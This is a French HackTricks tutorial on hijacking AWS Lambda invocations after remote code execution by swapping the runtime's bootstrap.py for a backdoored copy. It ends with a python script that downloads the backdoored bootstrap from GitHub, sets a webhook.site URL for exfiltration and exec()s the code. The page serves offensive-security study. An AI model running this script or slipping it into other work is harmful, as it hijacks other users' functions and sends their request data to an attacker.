AWS - Steal Lambda Requests

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Flux Lambda

  1. Slicer est un processus en dehors du conteneur qui envoie des invocations au processus init.

  2. Le processus init écoute sur le port 9001 en exposant quelques points d'extrémité intéressants :

  • /2018-06-01/runtime/invocation/next – obtenir l'événement d'invocation suivant

  • /2018-06-01/runtime/invocation/{invoke-id}/response – renvoyer la réponse du gestionnaire pour l'invocation

  • /2018-06-01/runtime/invocation/{invoke-id}/error – renvoyer une erreur d'exécution

  1. bootstrap.py a une boucle qui récupère les invocations du processus init et appelle le code des utilisateurs pour les gérer (/next).

  2. Enfin, bootstrap.py envoie la réponse à init.

Notez que bootstrap charge le code utilisateur en tant que module, donc toute exécution de code effectuée par le code utilisateur se produit en réalité dans ce processus.

Voler les requêtes Lambda

L'objectif de cette attaque est de faire exécuter au code utilisateur un processus malveillant bootstrap.py à l'intérieur du processus bootstrap.py qui gère la requête vulnérable. Ainsi, le processus bootstrap malveillant commencera à communiquer avec le processus init pour gérer les requêtes tandis que le bootstrap légitime est piégé en exécutant le malveillant, donc il ne demandera pas de requêtes au processus init.

Il est facile d'accomplir cette tâche car le code de l'utilisateur est exécuté par le bootstrap.py légitime. Ainsi, l'attaquant pourrait :

  • Envoyer un faux résultat de l'invocation actuelle au processus init, de sorte que init pense que le processus bootstrap attend plus d'invocations.

  • Une requête doit être envoyée à /${invoke-id}/response

  • L'invoke-id peut être obtenu à partir de la pile du bootstrap.py légitime en utilisant le module python inspect (comme proposé ici) ou simplement en le demandant à nouveau à /2018-06-01/runtime/invocation/next (comme proposé ici).

  • Exécuter un bootstrap.py malveillant qui gérera les prochaines invocations

  • Pour des raisons de discrétion, il est possible d'envoyer les paramètres d'invocation Lambda à un C2 contrôlé par les attaquants, puis de gérer les requêtes comme d'habitude.

  • Pour cette attaque, il suffit d'obtenir le code original de bootstrap.py à partir du système ou de github, ajouter le code malveillant et l'exécuter à partir de l'invocation Lambda actuelle.

Étapes de l'attaque

  1. Trouver une vulnérabilité RCE.

  2. Exécuter le bootstrap malveillant.

Vous pouvez facilement effectuer ces actions en exécutant :

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Pour plus d'informations, consultez https://github.com/carlospolop/lambda_bootstrap_switcher

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour